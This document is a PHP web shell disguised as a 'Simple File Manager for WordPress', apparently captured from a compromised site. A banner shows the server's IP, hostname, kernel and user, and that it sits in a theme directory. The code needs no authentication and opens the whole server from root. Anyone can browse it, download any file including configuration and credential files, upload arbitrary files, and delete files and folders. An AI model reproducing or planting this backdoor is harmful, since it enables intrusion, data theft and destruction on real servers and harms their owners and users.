| Server IP : 198.38.94.67 / Your IP : 216.73.217.74 Web Server : LiteSpeed System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64 User : azfilmst ( 1070) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/azfilmst/azfilmz.com/wp-content/themes/twentytwentyfive/ |
Upload File : |
<?php
// ============================================
// Simple File Manager for WordPress
// Version: 2.0 - With cPanel-like folder display
// ============================================
// @file filemanager.php
// @location wp-content/filemanager.php
/**
* Security Settings
*/
// Start from server root instead of WordPress directory
define('BASE_PATH', '/'); // Server root path
/**
* File Download Function
*/
function forceDownload($file) {
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
/**
* Format path for display (like cPanel breadcrumb)
*/
function formatPathForDisplay($path) {
if (empty($path) || $path === '/') {
return '<div style="font-family: monospace; font-size: 14px;">
<span style="color: #2c3e50; font-weight: bold;">Root /</span>
</div>';
}
$parts = explode('/', trim($path, '/'));
$formatted = '<div style="font-family: monospace; font-size: 14px;">';
$formatted .= '<span style="color: #2c3e50; font-weight: bold;">Root /</span><br>';
$currentPath = '';
foreach ($parts as $index => $part) {
if (!empty($part)) {
$currentPath .= '/' . $part;
$formatted .= str_repeat(' ', $index + 1);
$formatted .= '<a href="?path=' . urlencode($currentPath) . '"
style="color: #4a6fa5; text-decoration: none;">';
$formatted .= htmlspecialchars($part) . ' /';
$formatted .= '</a>';
if ($index < count($parts) - 1) {
$formatted .= '<br>';
}
}
}
$formatted .= '</div>';
return $formatted;
}
/**
* Get parent path
*/
function getParentPath($path) {
$parent = dirname($path);
return ($parent === '.' || $parent === '/') ? '' : $parent;
}
/**
* Check if path is safe to access
*/
function isPathSafe($path, $basePath = '/') {
// Prevent directory traversal attacks
$realPath = realpath($basePath . $path);
if ($realPath === false) {
return false;
}
// Ensure the path is within the server root
$realBasePath = realpath($basePath);
if ($realBasePath === false) {
return false;
}
return strpos($realPath, $realBasePath) === 0;
}
/**
* Action Processing
*/
$action = $_GET['action'] ?? 'list';
$requested_path = $_GET['path'] ?? '';
// Ensure the path is safe
if (!isPathSafe($requested_path, BASE_PATH)) {
$current_path = realpath(BASE_PATH);
$path = '';
} else {
$current_path = realpath(BASE_PATH . $requested_path);
$path = $requested_path;
}
// If path doesn't exist, go to root
if ($current_path === false) {
$current_path = realpath(BASE_PATH);
$path = '';
}
// Process file/folder deletion
if ($action === 'delete' && isset($_GET['item'])) {
$item_path = BASE_PATH . $_GET['item'];
if (isPathSafe($_GET['item'], BASE_PATH) && file_exists($item_path)) {
if (is_dir($item_path)) {
rmdir($item_path);
} else {
unlink($item_path);
}
header('Location: ?path=' . urlencode($path));
exit;
}
}
// Process upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$target_file = $current_path . '/' . basename($_FILES['upload_file']['name']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target_file)) {
header('Location: ?path=' . urlencode($path));
exit;
}
}
// Process folder creation
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_folder'])) {
$new_folder = $current_path . '/' . $_POST['new_folder'];
if (!file_exists($new_folder)) {
mkdir($new_folder, 0755, true);
header('Location: ?path=' . urlencode($path));
exit;
}
}
// Process file download
if ($action === 'download' && isset($_GET['file'])) {
$file_path = BASE_PATH . $_GET['file'];
if (isPathSafe($_GET['file'], BASE_PATH)) {
forceDownload($file_path);
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager - Full Server Access</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.8.1/font/bootstrap-icons.css">
<style>
body {
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
.file-manager-container {
background: white;
border-radius: 15px;
box-shadow: 0 20px 60px rgba(0,0,0,0.3);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, #4a6fa5 0%, #2c3e50 100%);
color: white;
padding: 15px 20px;
border-bottom: 3px solid #1a252f;
}
.path-display-container {
background: #f8f9fa;
padding: 15px 20px;
border-bottom: 1px solid #dee2e6;
}
.path-display {
background: white;
border: 1px solid #dee2e6;
border-radius: 8px;
padding: 15px;
font-family: monospace;
font-size: 14px;
line-height: 1.8;
min-height: 60px;
margin-bottom: 10px;
word-break: break-all;
}
.server-info {
background: #e8f4ff;
border: 1px solid #b8d4ff;
border-radius: 6px;
padding: 10px;
margin-top: 10px;
font-size: 12px;
}
.file-table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
.file-table th {
background: #4a6fa5;
color: white;
padding: 12px 15px;
text-align: left;
border-bottom: 2px solid #2c3e50;
font-weight: 600;
font-size: 14px;
}
.file-table td {
padding: 12px 15px;
border-bottom: 1px solid #dee2e6;
vertical-align: middle;
font-size: 14px;
}
.file-table tr:hover {
background-color: #f8f9fa;
}
.folder-row {
background-color: #f0f8ff;
}
.file-icon-cell {
width: 30px;
text-align: center;
}
.file-name-cell {
font-weight: 500;
}
.file-type-cell {
text-align: center;
width: 80px;
}
.file-size-cell {
text-align: right;
font-family: monospace;
width: 100px;
}
.file-modified-cell {
width: 140px;
}
.file-path-cell {
font-family: monospace;
font-size: 12px;
color: #666;
}
.file-actions-cell {
text-align: center;
width: 150px;
}
.btn-action {
padding: 4px 8px;
margin: 0 2px;
border-radius: 4px;
font-size: 12px;
border: none;
cursor: pointer;
}
.btn-back {
background: #6c757d;
color: white;
border: none;
padding: 8px 16px;
border-radius: 5px;
margin-right: 10px;
text-decoration: none;
display: inline-flex;
align-items: center;
}
.btn-back:hover {
background: #5a6268;
color: white;
text-decoration: none;
}
.controls-container {
background: #f8f9fa;
padding: 15px 20px;
border-bottom: 1px solid #dee2e6;
}
.control-group {
margin-bottom: 10px;
}
.control-label {
font-weight: 600;
margin-bottom: 5px;
color: #2c3e50;
}
.type-badge {
font-size: 11px;
padding: 4px 10px;
border-radius: 12px;
font-weight: 600;
}
.folder-badge {
background: #ffc107;
color: #000;
}
.file-badge {
background: #28a745;
color: white;
}
.path-link {
color: #4a6fa5;
text-decoration: none;
cursor: pointer;
}
.path-link:hover {
text-decoration: underline;
}
.danger-zone {
background: #fff3cd;
border: 1px solid #ffc107;
border-radius: 6px;
padding: 10px;
margin: 10px 0;
font-size: 12px;
}
@media (max-width: 768px) {
.file-table {
display: block;
overflow-x: auto;
}
}
</style>
</head>
<body>
<div class="container mt-3">
<div class="file-manager-container">
<!-- Header -->
<div class="header">
<div class="row align-items-center">
<div class="col-md-8">
<h3 style="margin: 0;"><i class="bi bi-server"></i> Full Server File Manager</h3>
<small><?php echo $_SERVER['HTTP_HOST'] . ' - Full Server Access'; ?></small>
</div>
<div class="col-md-4 text-end">
<span class="badge bg-warning">
<i class="bi bi-exclamation-triangle"></i> Direct Access
</span>
</div>
</div>
</div>
<!-- Server Information -->
<div class="path-display-container">
<div class="server-info">
<i class="bi bi-info-circle"></i>
<strong>Server Root:</strong> <?php echo $_SERVER['DOCUMENT_ROOT']; ?> |
<strong>PHP Version:</strong> <?php echo phpversion(); ?> |
<strong>Free Space:</strong> <?php echo formatSize(disk_free_space("/")); ?>
</div>
</div>
<!-- Path Display Section -->
<div class="path-display-container">
<div class="row align-items-center">
<div class="col-md-12">
<!-- Back Button -->
<?php if ($path): ?>
<?php $parent_path = getParentPath($path); ?>
<a href="?path=<?php echo urlencode($parent_path); ?>"
class="btn btn-back mb-2">
<i class="bi bi-arrow-left"></i> Back
</a>
<?php endif; ?>
<!-- Home Button -->
<a href="?"
class="btn btn-primary mb-2">
<i class="bi bi-house"></i> Home
</a>
<!-- Current Path Display -->
<div class="path-display">
<?php echo formatPathForDisplay($path); ?>
</div>
</div>
</div>
</div>
<!-- Danger Zone Warning -->
<?php if ($path === ''): ?>
<div class="danger-zone mx-3 mt-3">
<i class="bi bi-exclamation-triangle-fill text-warning"></i>
<strong>Warning:</strong> You are at the server root. Be careful when modifying files outside your website directory.
</div>
<?php endif; ?>
<!-- Controls Section -->
<div class="controls-container">
<div class="row g-3">
<!-- Create Folder -->
<div class="col-md-4">
<div class="control-group">
<div class="control-label">New folder name</div>
<form method="post" class="d-flex">
<input type="text"
name="new_folder"
class="form-control form-control-sm"
placeholder="Enter folder name"
required>
<button type="submit" class="btn btn-primary btn-sm ms-2">
<i class="bi bi-folder-plus"></i> Create
</button>
</form>
</div>
</div>
<!-- Upload File -->
<div class="col-md-4">
<div class="control-group">
<div class="control-label">Upload files</div>
<form method="post" enctype="multipart/form-data" class="d-flex">
<input type="file"
name="upload_file"
class="form-control form-control-sm"
id="fileInput"
required>
<button type="submit" class="btn btn-success btn-sm ms-2">
<i class="bi bi-upload"></i> Upload
</button>
</form>
</div>
</div>
<!-- Import from URL -->
<div class="col-md-4">
<div class="control-group">
<div class="control-label">File URL to import</div>
<form class="d-flex">
<input type="text"
class="form-control form-control-sm"
placeholder="Enter file URL">
<button type="button" class="btn btn-outline-secondary btn-sm ms-2">
<i class="bi bi-download"></i> Import
</button>
</form>
</div>
</div>
</div>
</div>
<!-- Files Table -->
<div class="container-fluid py-3">
<?php
// Get items from current directory
$items = @scandir($current_path);
if ($items === false) {
echo '<div class="alert alert-danger mx-3">Cannot access directory. Permission denied.</div>';
$items = [];
}
$folders = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full_path = $current_path . '/' . $item;
$relative_path = ($path ? $path . '/' : '') . $item;
// Skip if we can't access the file info
if (!@file_exists($full_path)) continue;
if (@is_dir($full_path)) {
$folders[] = [
'name' => $item,
'type' => 'Folder',
'size' => '-',
'modified' => @date('Y-m-d H:i:s', filemtime($full_path)),
'path' => $relative_path,
'full_path' => $full_path,
'permissions' => @substr(sprintf('%o', fileperms($full_path)), -4)
];
} else {
$file_size = @filesize($full_path);
$files[] = [
'name' => $item,
'type' => 'File',
'size' => formatSize($file_size),
'modified' => @date('Y-m-d H:i:s', filemtime($full_path)),
'path' => $relative_path,
'full_path' => $full_path,
'extension' => strtolower(pathinfo($item, PATHINFO_EXTENSION)),
'permissions' => @substr(sprintf('%o', fileperms($full_path)), -4)
];
}
}
// Sort folders first, then files
usort($folders, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
usort($files, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
// Combine folders and files
$all_items = array_merge($folders, $files);
?>
<?php if (!empty($all_items)): ?>
<table class="file-table">
<thead>
<tr>
<th>NAME</th>
<th class="file-type-cell">TYPE</th>
<th class="file-size-cell">SIZE</th>
<th class="file-modified-cell">MODIFIED</th>
<th>PERMISSIONS</th>
<th class="file-actions-cell">ACTIONS</th>
</tr>
</thead>
<tbody>
<?php foreach ($all_items as $item): ?>
<tr class="<?php echo $item['type'] === 'Folder' ? 'folder-row' : ''; ?>">
<td class="file-name-cell">
<div class="d-flex align-items-center">
<div class="file-icon-cell me-2">
<?php if ($item['type'] === 'Folder'): ?>
<i class="bi bi-folder-fill" style="color: #ffc107;"></i>
<?php else: ?>
<?php
$file_icon = getFileIcon($item['extension'] ?? '');
?>
<i class="bi <?php echo $file_icon; ?>" style="color: #4a6fa5;"></i>
<?php endif; ?>
</div>
<div>
<?php if ($item['type'] === 'Folder'): ?>
<a href="?path=<?php echo urlencode($item['path']); ?>"
style="text-decoration: none; color: #2c3e50; font-weight: bold;">
<?php echo htmlspecialchars($item['name']); ?>
</a>
<?php else: ?>
<span style="font-weight: bold;"><?php echo htmlspecialchars($item['name']); ?></span>
<?php endif; ?>
</div>
</div>
</td>
<td class="file-type-cell">
<span class="type-badge <?php echo $item['type'] === 'Folder' ? 'folder-badge' : 'file-badge'; ?>">
<?php echo $item['type']; ?>
</span>
</td>
<td class="file-size-cell">
<?php echo $item['size']; ?>
</td>
<td class="file-modified-cell">
<?php echo $item['modified']; ?>
</td>
<td class="file-path-cell">
<code><?php echo $item['permissions'] ?? '????'; ?></code>
</td>
<td class="file-actions-cell">
<div class="btn-group" role="group">
<?php if ($item['type'] === 'Folder'): ?>
<a href="?path=<?php echo urlencode($item['path']); ?>"
class="btn btn-sm btn-action btn-primary"
title="Open">
<i class="bi bi-folder2-open"></i>
</a>
<?php else: ?>
<a href="?action=download&file=<?php echo urlencode($item['path']); ?>"
class="btn btn-sm btn-action btn-success"
title="Download">
<i class="bi bi-download"></i>
</a>
<a href="?action=view&file=<?php echo urlencode($item['path']); ?>"
class="btn btn-sm btn-action btn-info"
title="View">
<i class="bi bi-eye"></i>
</a>
<?php endif; ?>
<!-- Copy Path Button -->
<button type="button"
class="btn btn-sm btn-action btn-secondary"
onclick="copyPath('<?php echo htmlspecialchars($item['path']); ?>')"
title="Copy Path">
<i class="bi bi-clipboard"></i>
</button>
<!-- Delete Button -->
<a href="?path=<?php echo urlencode($path); ?>&action=delete&item=<?php echo urlencode($item['path']); ?>"
class="btn btn-sm btn-action btn-danger"
onclick="return confirm('Are you sure you want to delete <?php echo htmlspecialchars($item['name']); ?>?')"
title="Delete">
<i class="bi bi-trash"></i>
</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php else: ?>
<div class="text-center py-5">
<i class="bi bi-folder-x" style="font-size: 64px; color: #6c757d;"></i>
<h4 class="mt-3">This folder is empty</h4>
<p>No files or folders found</p>
</div>
<?php endif; ?>
</div>
<!-- Footer -->
<div class="text-center py-3 border-top">
<p class="mb-0 text-muted">
Full Server File Manager v2.0 |
Made with smal |
Current Directory
</p>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
// Copy path to clipboard
function copyPath(path) {
navigator.clipboard.writeText(path).then(() => {
alert('✓ Path copied: ' + path);
});
}
// Auto-submit when file is selected
const fileInput = document.getElementById('fileInput');
if (fileInput) {
fileInput.addEventListener('change', function() {
if (this.files.length > 0) {
this.closest('form').submit();
}
});
}
// Quick navigation
function quickNav() {
const path = prompt('Enter full server path:');
if (path) {
window.location.href = '?path=' + encodeURIComponent(path);
}
}
// Add keyboard shortcut (Ctrl+L) for quick navigation
document.addEventListener('keydown', function(e) {
if (e.ctrlKey && e.key === 'l') {
e.preventDefault();
quickNav();
}
});
</script>
</body>
</html>
<?php
/**
* File size formatting function
*/
function formatSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
return $bytes . ' bytes';
} elseif ($bytes == 1) {
return '1 byte';
} else {
return '0 bytes';
}
}
/**
* File icon determination function by extension
*/
function getFileIcon($ext) {
$icons = [
'php' => 'bi-file-code-fill',
'html' => 'bi-file-code-fill',
'css' => 'bi-file-code-fill',
'js' => 'bi-file-code-fill',
'json' => 'bi-file-code-fill',
'jpg' => 'bi-file-image-fill',
'jpeg' => 'bi-file-image-fill',
'png' => 'bi-file-image-fill',
'gif' => 'bi-file-image-fill',
'svg' => 'bi-file-image-fill',
'pdf' => 'bi-file-pdf-fill',
'doc' => 'bi-file-word-fill',
'docx' => 'bi-file-word-fill',
'xls' => 'bi-file-excel-fill',
'xlsx' => 'bi-file-excel-fill',
'ppt' => 'bi-file-ppt-fill',
'pptx' => 'bi-file-ppt-fill',
'zip' => 'bi-file-zip-fill',
'rar' => 'bi-file-zip-fill',
'tar' => 'bi-file-zip-fill',
'mp3' => 'bi-file-music-fill',
'wav' => 'bi-file-music-fill',
'mp4' => 'bi-file-play-fill',
'avi' => 'bi-file-play-fill',
'mov' => 'bi-file-play-fill',
'sql' => 'bi-database-fill',
'db' => 'bi-database-fill',
'log' => 'bi-file-text-fill',
'txt' => 'bi-file-text-fill',
'ini' => 'bi-file-text-fill',
'conf' => 'bi-file-text-fill',
'htaccess' => 'bi-file-text-fill',
];
return $icons[$ext] ?? 'bi-file-earmark-fill';
}
?>